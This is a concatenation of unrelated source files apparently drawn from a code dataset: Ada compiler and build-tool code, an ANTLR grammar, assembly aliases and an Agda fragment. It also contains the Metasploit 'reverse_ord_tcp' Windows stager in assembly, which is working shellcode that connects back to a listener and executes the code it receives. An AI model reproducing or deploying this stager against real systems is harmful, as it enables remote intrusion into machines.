Ct_Constant(A, Tps, Id, L, C);
when Fireferencia | Referencia =>
Ct_Referencia_Var(A, Tps, Id);
when others =>
Put_Line("ERROR CT-exp: tipus expressio no "&
"trobat :S "&Tipus'Img);
Esem := True;
end case;
T := Tps;
Idtipus := Id;
end Ct_Expressio;
procedure Ct_Operand_Exp
(A : in Pnode;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
Tipus : Tipusnode renames A.Tipus;
begin
case Tipus is
when Expressio =>
Ct_Expressioc(A, T, Idtipus, L, C);
when ExpressioUnaria =>
Ct_Expressiou(A, T, Idtipus, L, C);
when Referencia | Fireferencia=>
Ct_Referencia_var(A, T, IdTipus);
when Const =>
Ct_Constant(A, T, Idtipus, L, C);
when Identificador =>
Ct_Identificador(A, T, Idtipus, L, C);
when others =>
Esem := True;
null;
end case;
end Ct_Operand_Exp;
procedure Ct_Expressioc
(A : in Pnode;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
Fesq : Pnode renames A.Fe3;
Fdret : Pnode renames A.Fd3;
Op : Operacio renames A.Op3;
Tesq : Tipussubjacent;
Idesq : Id_Nom;
Tdret : Tipussubjacent;
Iddret : Id_Nom;
begin
--Analitzam l'operand esquerra
Ct_Operand_Exp(Fesq, Tesq, Idesq, L, C);
--Analitzam l'operand dret
Ct_Operand_Exp(Fdret, Tdret, Iddret, L, C);
-- Comparam els tipus
case Op is
when Unio | Interseccio =>
Ct_Exp_Logica(Tesq, Tdret, Idesq, Iddret, T,
Idtipus, L, C);
when Menor | Menorig | Major | Majorig
| Igual | Distint =>
Ct_Exp_Relacional(Tesq, Tdret, Idesq, Iddret,
T, Idtipus, L, C);
when Suma | Resta | Mult | Div | Modul =>
Ct_Exp_Aritmetica(Tesq, Tdret, Idesq, Iddret,
T, Idtipus, L, C);
when others =>
Esem := True;
null;
end case;
end Ct_Expressioc;
procedure Ct_Exp_Logica
(Tesq, Tdret : in Tipussubjacent;
Idesq, Iddret : in Id_Nom;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
begin
if Tesq /= Tsbool then
Error(Tsub_No_Bool, L, C, "esquerra");
Esem := True;
end if;
if Tdret /= Tsbool then
Error(Tsub_No_Bool, L, C, "dret");
Esem := True;
end if;
if Idesq /= Id_Nul and Iddret /= Id_Nul then
if Idesq /= Iddret then
Error(Tops_Diferents, L, C, "");
Esem := True;
end if;
end if;
if Idesq = Id_Nul then
Idtipus := Iddret;
else
Idtipus := Idesq;
end if;
T := Tsbool;
end Ct_Exp_Logica;
procedure Ct_Exp_Relacional
(Tesq, Tdret : in Tipussubjacent;
Idesq, Iddret : in Id_Nom;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
begin
if Tesq /= Tdret then
Error(Tsubs_Diferents, L, C, "");
Esem := True;
end if;
if Tesq > Tsent then
Error(Tsub_No_Escalar, L, C, "esquerra");
Esem := True;
end if;
if Tdret > Tsent then
Error(Tsub_No_Escalar, L, C, "dret");
Esem := True;
end if;
if Idesq /= Id_Nul and Iddret /= Id_Nul then
if Idesq /= Iddret then
Error(Tops_Diferents, L, C, "");
Esem := True;
end if;
end if;
T := Tsbool;
Idtipus := Id_Nul;
end Ct_Exp_Relacional;
procedure Ct_Exp_Aritmetica
(Tesq, Tdret : in Tipussubjacent;
Idesq, Iddret : in Id_Nom;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
begin
if Tesq /= Tsent then
Error(Tsub_No_Sencer, L, C, "esquerra");
Esem := True;
end if;
if Tdret /= Tsent then
Error(Tsub_No_Sencer, L, C, "dret");
Esem := True;
end if;
if Idesq /= Id_Nul and Iddret /= Id_Nul then
if Idesq /= Iddret then
Error(Tops_Diferents, L, C, "");
Esem := True;
end if;
end if;
T := Tsent;
if Idesq = Id_Nul then
Idtipus := Iddret;
else
Idtipus := Idesq;
end if;
end Ct_Exp_Aritmetica;
procedure Ct_Expressiou
(A : in Pnode;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
Fdret : Pnode renames A.F4;
Op : Operacio renames A.Op4;
Tdret : Tipussubjacent;
Iddret : Id_Nom;
begin
Ct_Operand_Exp(Fdret, Tdret, Iddret, L, C);
case Op is
when Resta =>
Ct_Exp_Negacio(Tdret, Iddret, T, Idtipus,
L, C);
when Negacio =>
Ct_Exp_Neglogica(Tdret, Iddret, T, Idtipus,
L, C);
when others =>
Esem := True;
null;
end case;
end Ct_Expressiou;
procedure Ct_Exp_Negacio
(Ts : in Tipussubjacent;
Id : in Id_Nom;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
begin
if Ts /= Tsent then
Error(Tsub_No_Sencer, L, C, "");
Esem := True;
end if;
Idtipus := Id;
T := Tsent;
end Ct_Exp_Negacio;
procedure Ct_Exp_Neglogica
(Ts : in Tipussubjacent;
Id : in Id_Nom;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C: in out Natural) is
begin
if Ts /= Tsbool then
Error(Tsub_No_Bool, L, C, "");
Esem := True;
end if;
Idtipus := Id;
T := Tsbool;
end Ct_Exp_Neglogica;
procedure Ct_Constant
(A : in Pnode;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
Tatr : Tipus_Atribut renames A.Tconst;
Lin : Natural renames A.L2;
Col : Natural renames A.C2;
D : Descrip;
begin
Idtipus := Id_Nul;
case (Tatr) is
when A_Lit_C =>
T := Tscar;
when A_Lit_N =>
T := Tsent;
when A_Lit_S =>
T := Tsstr;
when others =>
Put_Line("ERROR CT-constant: tipus constant "&
"erroni");
Esem := True;
end case;
L := Lin;
C := Col;
end Ct_Constant;
procedure Ct_Identificador
(A : in Pnode;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
L, C : in out Natural) is
Id : Id_Nom renames A.Id12;
D : Descrip;
Desc : Tdescrip renames D.Td;
Lin : Natural renames A.L1;
Col : Natural renames A.C1;
Carg : Cursor_Arg;
begin
D := Cons(Ts, Id);
case Desc is
when Dvar =>
Idtipus := D.Tr;
D := Cons(Ts, Idtipus);
if (D.Td = Dtipus) then
T := D.Dt.Tt;
else
Error(Tipus_No_Desc, L, C, D.Td'Img);
Esem := True;
end if;
when Dconst =>
Idtipus := D.Tc;
D := Cons(Ts, Idtipus);
if (D.Td = Dtipus) then
T := D.Dt.Tt;
else
Error(Tipus_No_Desc, L, C, D.Td'Img);
Esem := True;
end if;
when Dproc =>
Carg := Primer_Arg(Ts, Id);
if Arg_Valid(Carg) then
T := Tsarr;
else
T := Tsnul;
end if;
Idtipus := Id;
when Dargc =>
Idtipus := D.Targ;
D := Cons(Ts, Idtipus);
if (D.Td = Dtipus) then
T := D.Dt.Tt;
else
Error(Tipus_No_Desc, L, C, D.Td'Img);
Esem := True;
end if;
when others =>
Error(Id_No_Reconegut, L, C, Desc'Img);
Esem := True;
Idtipus := Id;
T := tsnul;
end case;
L := Lin;
C := Col;
end Ct_Identificador;
procedure Ct_Bloc
(A : in Pnode) is
D : Descrip;
T : Tipussubjacent;
Idbase : Id_Nom;
Idtipus : Id_Nom;
Tsexp : Tipussubjacent;
Idexp : Id_Nom;
Tsvar : Tipussubjacent;
Idvar : Id_Nom;
L, C : Natural := 0;
begin
case (A.Tipus) is
when Bloc =>
Ct_Bloc(A.Fe1);
Ct_Bloc(A.Fd1);
when Repeticio =>
Ct_Srep(A);
when Identificador =>
Ct_Identificador(A, T, Idtipus, L, C);
if T /= Tsnul then
Error(Id_No_Cridaproc, L, C,
Cons_Nom(Tn, A.Id12));
Esem := True;
end if;
when Fireferencia =>
Ct_Referencia_Proc(A, T, Idbase);
when condicionalS =>
Ct_Sconds(A);
when condicionalC =>
Ct_Scondc(A);
when Assignacio =>
Ct_Referencia_Var(A.Fe1, Tsvar, Idvar);
Ct_Expressio(A.Fd1, Tsexp, Idexp, L, C);
if Tsvar /= Tsexp then
Error(Assig_Tipus_Diferents, L, C, "");
Esem := True;
end if;
if Idexp /= Id_Nul and Idexp /= Idvar then
Error(Assig_Tipus_Diferents, L, C, "");
Esem := True;
end if;
when others =>
Esem := True;
end case;
end Ct_Bloc;
procedure Ct_Srep
(A : in Pnode) is
Tsexp : Tipussubjacent;
Idtipus_exp : Id_Nom;
Exp : Pnode renames A.Fe1;
Bloc : Pnode renames A.fd1;
L, C : Natural := 0;
begin
Ct_Expressio(Exp, Tsexp, Idtipus_Exp, L, C);
if tsexp /= tsbool then
Error(Exp_No_Bool, L, C, "bucle");
Esem := True;
end if;
Ct_Bloc(Bloc);
end Ct_Srep;
procedure Ct_Sconds
(A : in Pnode) is
Tsexp : Tipussubjacent;
Idtipus_exp : Id_Nom;
Cond : Pnode renames A.Fe1;
Bloc : Pnode renames A.fd1;
L, C : Natural := 0;
begin
Ct_Expressio(Cond, Tsexp, Idtipus_Exp, L, C);
if tsexp /= tsbool then
Error(Exp_No_Bool, L, C, "condicional");
Esem := True;
end if;
Ct_Bloc(Bloc);
end Ct_Sconds;
procedure Ct_Scondc
(A : in Pnode) is
Tsexp : Tipussubjacent;
Idtipus_exp : Id_Nom;
Cond : Pnode renames A.Fe2;
Bloc : Pnode renames A.fc2;
Blocelse : Pnode renames A.fd2;
L, C : Natural := 0;
begin
Ct_Expressio(Cond, Tsexp, Idtipus_Exp, L, C);
if tsexp /= tsbool then
Error(Exp_No_Bool, L, C, "condicional compost");
Esem := True;
end if;
Ct_Bloc(Bloc);
Ct_Bloc(Blocelse);
end Ct_Scondc;
procedure Ct_Referencia_Proc
(A : in Pnode;
T : out Tipussubjacent;
Id : out Id_Nom) is
Tipus : Tipusnode renames A.Tipus;
It_Arg : Cursor_Arg;
L, C : Natural := 0;
begin
case Tipus is
when Identificador =>
Ct_Identificador(A, T, Id, L, C);
when Referencia =>
Error(Rec_No_Cridaproc, L, C, "");
Esem := True;
when Fireferencia =>
Ct_Ref_Pri(A.F6, T, It_Arg);
if Arg_Valid(It_Arg) then
Error(Falta_Param_Proc, L, C, "");
Esem := True;
end if;
when others =>
Put_Line("ERROR CT-referencia: node "&
"no reconegut");
Esem := True;
end case;
end Ct_Referencia_Proc;
procedure Ct_Referencia_Var
(A : in Pnode;
T : out Tipussubjacent;
Id : out Id_Nom) is
Tipus : Tipusnode renames A.Tipus;
Idtipus : Id_Nom;
It_Idx : Cursor_Idx;
D : Descrip;
L, C : Natural := 0;
begin
case Tipus is
when Identificador =>
Ct_Identificador(A, T, Id, L, C);
D := Cons(Ts, Id);
if D.Td = Dproc then
Error(Refvar_No_Proc, L, C, "");
Esem := True;
end if;
when Referencia =>
Ct_Ref_Rec(A, T, Id, Idtipus);
when Fireferencia =>
Ct_Ref_Pri(A.F6, T, Id, It_Idx);
if Idx_Valid(It_Idx) then
Error(Falta_Param_Array, L, C, "");
Esem := True;
end if;
if T = Tsarr then
D := Cons(Ts, Id);
Id := D.Dt.Tcamp;
D := Cons(Ts, Id);
T := D.Dt.Tt;
end if;
when others =>
Esem := True;
null;
end case;
end Ct_Referencia_Var;
procedure Ct_Ref_Rec
(A : in Pnode;
T : out Tipussubjacent;
Idtipus : out Id_Nom;
Idbase : out Id_Nom) is
Fesq : Pnode renames A.Fe1;
Tesq : Tipussubjacent;
Idbase_Esq : Id_Nom;
Dcamp : Descrip;
Dtcamp : Descrip;
Idcamp : Id_Nom renames A.Fd1.Id12;
L, C : Natural := 0;
begin
Ct_Referencia_Var(Fesq, Tesq, Idbase_Esq);
if Tesq /= Tsrec then
Error(Reccamp_No_Valid, L, C, "");
Esem := True;
end if;
Dcamp := Conscamp(Ts, Idbase_Esq, Idcamp);
if Dcamp.Td = Dnula then
Error(Idrec_No_Valid, L, C, Cons_Nom(Tn, Idcamp));
Esem := True;
end if;
Idtipus := Dcamp.Tcamp;
Dtcamp := Cons(Ts, Dcamp.Tcamp);
T := Dtcamp.Dt.Tt;
Idbase := Idbase_Esq;
end Ct_Ref_Rec;
procedure Ct_Ref_Pri
(A : in Pnode;
T : out Tipussubjacent;
Id : out Id_Nom;
It_Idx : out Cursor_Idx) is
Tipus : Tipusnode renames A.Tipus;
Fesq : Pnode renames A.Fe1;
Fdret : Pnode renames A.Fd1;
Tsub : Tipussubjacent;
Idvar : Id_Nom;
Tsref : Tipussubjacent;
Idref : Id_Nom;
Id_Cursor : Id_Nom;
Dtipoarg : Descrip;
Dbase : Descrip;
L, C : Natural := 0;
begin
case Tipus is
when Pri =>
Ct_Ref_Pri(Fesq, T, Id, It_Idx);
Ct_Expressio(Fdret, Tsref, Idref, L, C);
if not Idx_Valid(It_Idx) then
Error(Sobren_Parametres, L, C, "");
Esem := True;
else
Id_Cursor := Cons_Idx(Ts, It_Idx);
Dtipoarg := Cons(Ts, Id_Cursor);
if Idref = Id_Nul then
if Dtipoarg.Dt.Tt /= Tsref then
Error(Tparam_No_Coincident,
L, C, "");
Esem := True;
end if;
elsif Idref /= Id_cursor then
Error(Tparam_No_Coincident, L, C,
Cons_Nom(Tn, Idref)&"/"&
Cons_Nom(Tn, Id_Cursor));
Esem := True;
end if;
It_Idx := Succ_Idx(Ts, It_Idx);
end if;
when Encappri =>
Ct_Referencia_Var(Fesq, Tsub, Idvar);
Ct_Expressio(Fdret, Tsref, Idref, L, C);
Dbase := Cons (Ts, Idvar);
if Tsub = Tsarr then
It_Idx := Primer_Idx(Ts, Idvar);
if Idx_Valid(It_Idx) then
Id_Cursor := Cons_Idx(Ts, It_Idx);
Dtipoarg := Cons(Ts, Id_Cursor);
if Idref = Id_Nul then
if Dtipoarg.Dt.Tt /= Tsref then
Error(Tparam_No_Coincident, L, C,
"");
Esem := True;
end if;
elsif Idref /= Id_Cursor then
Error(Tparam_No_Coincident, L, C,
Cons_Nom(Tn, Idref)&"/"&
Cons_Nom(Tn, Id_Cursor));
Esem := True;
end if;
end if;
else
Error(Tipus_No_Array, L, C, Tsub'Img);
Esem := True;
end if;
It_Idx := Succ_Idx(Ts, It_Idx);
T := Tsub;
Id := Idvar;
when others =>
Esem := True;
null;
end case;
end Ct_Ref_Pri;
procedure Ct_Ref_Pri
(A : in Pnode;
T : out Tipussubjacent;
It_Arg : out Cursor_Arg) is
Tipus : Tipusnode renames A.Tipus;
Fesq : Pnode renames A.Fe1;
Fdret : Pnode renames A.Fd1;
Tsub : Tipussubjacent;
Id : Id_Nom;
Tsref : Tipussubjacent;
Idref : Id_Nom;
Id_Cursor : Id_Nom;
Dparam : Descrip;
Dtipoarg : Descrip;
Dbase : Descrip;
L, C : Natural := 0;
begin
case Tipus is
when Pri => -- pri , E
Ct_Ref_Pri(Fesq, T, It_Arg);
Ct_Expressio(Fdret, Tsref, Idref, L, C);
if not Arg_Valid(It_Arg) then
Error(Sobren_Parametres, L, C, "");
Esem := True;
else
Cons_Arg(Ts, It_Arg, Id_Cursor, Dparam);
if Idref = Id_Nul then
Dtipoarg := Cons(ts, Dparam.targ);
if Dtipoarg.Dt.Tt /= Tsref then
Error(Tparam_No_Coincident, L,
C, Dtipoarg.Dt.Tt'Img);
Esem := True;
end if;
elsif Dparam.td = Dargc then
if Idref /= Dparam.targ then
Error(Tparam_No_Coincident, L, C,
Cons_Nom(Tn, Idref)&"/"&
Cons_Nom(Tn, Id_Cursor));
Esem := True;
end if;
elsif Dparam.td = Dvar then
if Idref /= Dparam.Tr then
Error(Tparam_No_Coincident, L, C,
Cons_Nom(Tn, Idref)&"/"&
Cons_Nom(Tn, Id_Cursor));
Esem := True;
end if;
end if;
It_Arg := Succ_Arg(Ts, It_Arg);
end if;
when Encappri => -- r(E
Ct_Referencia_Proc(Fesq, Tsub, Id);
Ct_Expressio(Fdret, Tsref, Idref, L, C);
Dbase := Cons (Ts, Id);
if Tsub = Tsarr and Dbase.td = Dproc then
It_Arg := Primer_Arg(Ts, Id);
if Arg_Valid(It_Arg) then
Cons_Arg(Ts, It_Arg, Id_Cursor, Dparam);
if Idref = Id_Nul then
if(Dtipoarg.Td /= Dnula) then
Dtipoarg := Cons(Ts, Dparam.Targ);
if Dtipoarg.Dt.Tt /= Tsref then
Error(Tparam_No_Coincident,
L, C, "");
Esem := True;
end if;
end if;
elsif Dparam.Td = Dargc then
if Idref /= Dparam.Targ then
Error(Tparam_No_Coincident, L, C,
Cons_Nom(Tn, Idref)&"/"&
Cons_Nom(Tn, Id_Cursor));
Esem := True;
end if;
elsif Dparam.Td = Dvar then
if Idref /= Dparam.Tr then
Error(Tparam_No_Coincident, L, C,
Cons_Nom(Tn, Idref)&"/"&
Cons_Nom(Tn, Id_Cursor));
Esem := True;
end if;
end if;
end if;
It_Arg := Succ_Arg(Ts, It_Arg);
else
Error(Tproc_No_Param, L, C, Tsub'Img);
Esem := True;
end if;
T := Tsub;
when others =>
Esem := True;
end case;
end Ct_Ref_Pri;
end Semantica.Ctipus;
|
aura.adb
|
annexi-strayline/AURA
| 13 |
12783
|
------------------------------------------------------------------------------
-- --
-- Ada User Repository Annex (AURA) --
-- ANNEXI-STRAYLINE Reference Implementation --
-- --
-- Command Line Interface --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2020, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- This is the "driver" (main program). It essentially handles sequencing
-- of the Scheduling package operations, and provides a final exception handler
with Ada.Text_IO;
with Ada.Exceptions;
with Ada.Command_Line;
with Ada.Strings.Unbounded;
with Ada.Characters.Handling;
with System.Multiprocessors;
with CLI; use CLI;
with Workers, Workers.Reporting;
with Registrar.Queries;
with Registrar.Library_Units;
with Unit_Names;
with UI_Primitives; use UI_Primitives;
with Scheduling;
procedure AURA is
pragma Linker_Options ("tty_ifo.o");
-- This is required for building AURA CLI, since it relies on the ASAP
-- repository's CLI AURA subsystem. If using CLI with AURA, AURA will ensure
-- this "External Unit" is linked into the final program. However, AURA CLI
-- is built without AURA, and so we need to include this so that gnatmake
-- knows that it needs to include this object file.
use CLI;
use type Workers.Count_Type;
use type Workers.Worker_Count;
use type System.Multiprocessors.CPU_Range;
use type Ada.Exceptions.Exception_ID;
use all type Scheduling.Selected_Command;
package UBS renames Ada.Strings.Unbounded;
Base_Workers: constant Workers.Worker_Count
:= Workers.Worker_Count (System.Multiprocessors.Number_Of_CPUs);
Optimal_Workers: constant Workers.Worker_Count
:= (if Base_Workers > 1 then Base_Workers + 2
else Base_Workers);
Task_Group: Workers.Worker_Pool (1 .. Optimal_Workers);
Command: Scheduling.Selected_Command renames Scheduling.Command;
procedure Annul_Zombies (Timeout: Duration := 2.0) is
Timedout: Boolean := False;
begin
-- Ask workers that don't disband in 2 seconds are probably in dire shape.
-- Take them out of their misery so that we can all get out of here.
if Timeout > 0.0 then
Workers.Wait_Workers (Timeout => Timeout, Timedout => Timedout);
end if;
if Timedout then
for T of Task_Group loop
abort T;
end loop;
end if;
end Annul_Zombies;
procedure Complete is
Timedout: Boolean;
begin
Workers.Disband_Workers;
Workers.Wait_Workers (Timeout => 2.0, Timedout => Timedout);
New_Line;
if Timedout then
Put_Warn_Tag;
Put_Line (" Some workers failed to complete.");
Annul_Zombies (Timeout => 0.0);
else
Put_OK_Tag;
Put_Line (Message => " Command completed successfully.",
Style => Bold);
end if;
if Workers.Reporting.Available_Reports > 0 then
New_Line;
Put_Warn_Tag;
Put_Line (" Unexpected worker reports:");
UI_Primitives.Dump_Reports;
Put_Line ("-- End of Worker Reports --");
end if;
end;
begin
UI_Primitives.Print_Banner;
Scheduling.Initialize_Parameters;
case Command is
when Help_Command =>
UI_Primitives.Print_Help;
Workers.Disband_Workers;
return;
-- We return because we don't want to show
-- "Command completed successfully"
when Clean_Command =>
Scheduling.Clean;
Complete;
return;
when Checkout_Command =>
Scheduling.Enter_Root;
Scheduling.Add_Explicit_Checkouts;
Scheduling.Initialize_Repositories;
Scheduling.Checkout_Cycle;
Scheduling.Consolidate_Dependencies;
Scheduling.Check_Completion;
Complete;
return;
when Compile_Command =>
Scheduling.Enter_Root;
Scheduling.Initialize_Repositories;
Scheduling.Checkout_Cycle;
Scheduling.Consolidate_Dependencies;
Scheduling.Check_Completion;
Scheduling.Hash_Registry;
Scheduling.Compile;
Scheduling.Hash_Registry;
Scheduling.Save_Registry;
Scheduling.Save_Config;
Complete;
return;
when Build_Command =>
Scheduling.Enter_Root;
Scheduling.Initialize_Repositories;
Scheduling.Checkout_Cycle;
Scheduling.Consolidate_Dependencies;
Scheduling.Check_Completion;
Scheduling.Hash_Registry;
Scheduling.Compile;
Scheduling.Bind;
Scheduling.Hash_Registry;
Scheduling.Expand_Dependencies;
Scheduling.Scan_Linker_Options;
Scheduling.Link_Or_Archive;
Scheduling.Save_Registry;
Scheduling.Save_Config;
Complete;
return;
when Run_Command =>
Scheduling.Enter_Root;
Scheduling.Initialize_Repositories;
Scheduling.Checkout_Cycle;
Scheduling.Consolidate_Dependencies;
Scheduling.Check_Completion;
Scheduling.Hash_Registry;
Scheduling.Compile;
Scheduling.Bind;
Scheduling.Hash_Registry;
Scheduling.Expand_Dependencies;
Scheduling.Scan_Linker_Options;
Scheduling.Link_Or_Archive;
Scheduling.Save_Registry;
Scheduling.Save_Config;
Complete;
Scheduling.Execute_Image; -- No_Return;
return; -- Unreachable
when Library_Command =>
Scheduling.Enter_Root;
Scheduling.Initialize_Repositories;
Scheduling.Checkout_Cycle;
Scheduling.Consolidate_Dependencies;
Scheduling.Check_Completion;
Scheduling.Hash_Registry;
Scheduling.Compile;
Scheduling.Bind;
Scheduling.Hash_Registry;
Scheduling.Scan_Linker_Options;
Scheduling.Link_Or_Archive;
Scheduling.Save_Registry;
Scheduling.Save_Config;
Complete;
return;
when Systemize_Command =>
raise Scheduling.Process_Failed with
"Systemize is not yet implemented.";
end case;
exception
when e: Scheduling.Process_Failed | Scheduling.Build_Failed =>
if Ada.Exceptions.Exception_Identity (e)
= Scheduling.Build_Failed'Identity
then
-- Build_Failed means that AURA itself (per se) didn't have any
-- problems. This means we can safely take note of what units did
-- compile ok, and save that registry for next time.
--
-- Most cases where this triggers, there is an error in the user's
-- code that caused compilation to fail. Therefore we want to do
-- our best to ensure that the next run only needs to attempt to
-- compile those units that failed, rather than everything.
New_Line;
Put_Info_Tag;
Put_Line (" Saving registry for next time...");
-- Safe to save the registry
Scheduling.Hash_Registry;
Scheduling.Save_Registry;
Scheduling.Save_Config;
Clear_Line;
end if;
New_Line;
Put (Message => " AURA Abort ", Style => Red_BG + White_FG);
Workers.Disband_Workers;
if Workers.Reporting.Available_Reports = 0 then
Put_Line (" Command canceled due to failed conditions");
else
Put_Line (Message => Workers.Count_Type'Image
(Workers.Reporting.Available_Reports)
& " Worker "
& (if Workers.Reporting.Available_Reports = 1 then
"Report "
else
"Report")
& " to follow:",
Style => Bold);
New_Line;
UI_Primitives.Dump_Reports;
Put_Line ("-- End of Worker Reports --");
New_Line;
end if;
Annul_Zombies;
Ada.Command_Line.Set_Exit_Status (Ada.Command_Line.Failure);
when e: others =>
Workers.Disband_Workers;
New_Line;
Put (Message => " Unexpected Exception ", Style => Red_BG + White_FG);
Put_Line (" The driver failed unexpectedly:");
Put_Line (Ada.Exceptions.Exception_Information (e));
Annul_Zombies;
Ada.Command_Line.Set_Exit_Status (Ada.Command_Line.Failure);
end AURA;
|
external/source/shellcode/windows/stager_reverse_ord_tcp.asm
|
OsmanDere/metasploit-framework
| 26,932 |
17081
|
<reponame>OsmanDere/metasploit-framework
;
; Metasploit Framework
; http://www.metasploit.com
;
; Source for reverse_ord_tcp (stager)
;
; Authors: hdm <<EMAIL>>, vlad902 <<EMAIL>>, spoonm <<EMAIL>>
; Size : 179
;
cld
xor ebx,ebx
mov eax,[fs:ebx+0x30]
mov eax,[eax+0xc]
mov edx,[eax+0x1c]
mov edx,[edx]
mov esi,[edx+0x20]
lodsd
lodsd
dec esi
add eax,[esi]
cmp eax,0x325f3332
jnz 0xd
mov ebp,[edx+0x8]
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
mov ecx,[ebp+ecx+0x1c]
add ecx,ebp
mov eax,[ecx+0x58]
add eax,ebp
mov esi,[ecx+0x3c]
add esi,ebp
add ebp,[ecx+0xc]
push ebx
push byte +0x1
push byte +0x2
call eax
xchg eax,edi
push dword 0x100007f
push dword 0x5c110002
mov ecx,esp
push ebx
mov bh,0xc
push ebx
push ecx
push edi
push ecx
push byte +0x10
push ecx
push edi
push esi
jmp ebp
arpl [ebp+0x64],bp
gs js 0xc9
and [edi],ch
arpl [eax],sp
outsb
gs jz 0x8c
jnz 0xe1
gs jc 0x91
insd
gs jz 0xd6
jnc 0xe7
insb
outsd
imul esi,[eax+0x20],dword 0x4444412f
and [esi],ah
and [es:esi+0x65],ch
jz 0xa9
insb
outsd
arpl [ecx+0x6c],sp
a16 jc 0x100
jnz 0x103
and [ecx+0x64],al
insd
imul ebp,[esi+0x69],dword 0x61727473
jz 0x10f
jc 0x115
and [ebp+0x65],ch
jz 0x108
jnc 0x119
insb
outsd
imul esi,[eax+0x2f],dword 0x444441
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___slonglong2fs_callee.asm
|
jpoikela/z88dk
| 640 |
164740
|
<reponame>jpoikela/z88dk
SECTION code_clib
SECTION code_fp_math48
PUBLIC ___slonglong2fs_callee
EXTERN cm48_sdcciyp_slonglong2ds_callee
defc ___slonglong2fs_callee = cm48_sdcciyp_slonglong2ds_callee
|
src/main/java/fr/anthonyrey/stats/statsDSL.g4
|
ReyAnthony/DQloneStatsDSL
| 1 |
2262
|
grammar statsDSL;
/* Parser Rules */
program
: classDef+ EOF ;
classDef
: ID LCURLY innerClassDef RCURLY;
innerClassDef
: initStat initLevel*;
initStat
: INIT LCURLY statDef+ RCURLY;
initLevel
: NUMBER xpDef LCURLY statDef+ RCURLY;
xpDef
: LPARENS NUMBER RPARENS;
statDef
: stat NUMBER;
stat
: AGI|ATK|DEF|MAG|HP ;
/* Lexer Rules */
LCURLY: '{';
RCURLY: '}';
LPARENS: '(';
RPARENS: ')';
INIT: 'init';
AGI: 'AGI';
ATK: 'ATK';
DEF: 'DEF';
MAG: 'MAG';
HP: 'HP';
ID: ([a-zA-Z_])+;
NUMBER: [0-9]+;
MULTILINE_COMMENT
: '!--' .*? '--!' -> skip ;
LINE_COMMENT
: '--' ~[\r\n]* -> skip ;
WHITESPACE: (' '|'\t')+ -> skip ;
NEWLINE: ('\r'? '\n' | '\r')+ -> skip ;
|
courses/fundamentals_of_ada/labs/solar_system/160_genericity_text/answers/sort_generics.adb
|
AdaCore/training_material
| 15 |
27310
|
with Ada.Text_IO;
with Swap_Generics;
package body Sort_Generics is
procedure Sort_Generic (List : in out List_Type) is
Idx_Min : Integer;
procedure Swap is new Swap_Generics.Swap_Generic (Data_Type => Element_Type);
begin
for Current_Idx in List'First .. List'Last - 1 loop
Idx_Min := Current_Idx;
for Scan_Idx in Current_Idx + 1 .. List'Last loop
if Compare (List (Scan_Idx), List (Idx_Min)) then
Idx_Min := Scan_Idx;
end if;
end loop;
if Current_Idx /= Idx_Min then
Swap (List (Current_Idx), List (Idx_Min));
end if;
end loop;
end Sort_Generic;
procedure Display_List (List : in List_Type) is
package IO renames Ada.Text_IO;
procedure Put_String(S : String) renames Ada.Text_IO.Put;
begin
IO.Put ("(");
for I in List'First .. List'Last loop
Ada.Text_IO.Put (To_String(List (I)));
if I /= List'Last then
Ada.Text_IO.Put(",");
end if;
end loop;
Ada.Text_IO.Put (")");
Ada.Text_IO.New_Line;
end Display_List;
end Sort_Generics;
|
theorems/cohomology/ChainComplex.agda
|
timjb/HoTT-Agda
| 294 |
9737
|
<filename>theorems/cohomology/ChainComplex.agda
{-# OPTIONS --without-K --rewriting #-}
open import HoTT
open import groups.KernelImage
open import groups.KernelImageEmap
module cohomology.ChainComplex where
record ChainComplex i : Type (lsucc i) where
field
head : AbGroup i
chain : ℕ → AbGroup i
augment : AbGroup.grp (chain 0) →ᴳ AbGroup.grp head
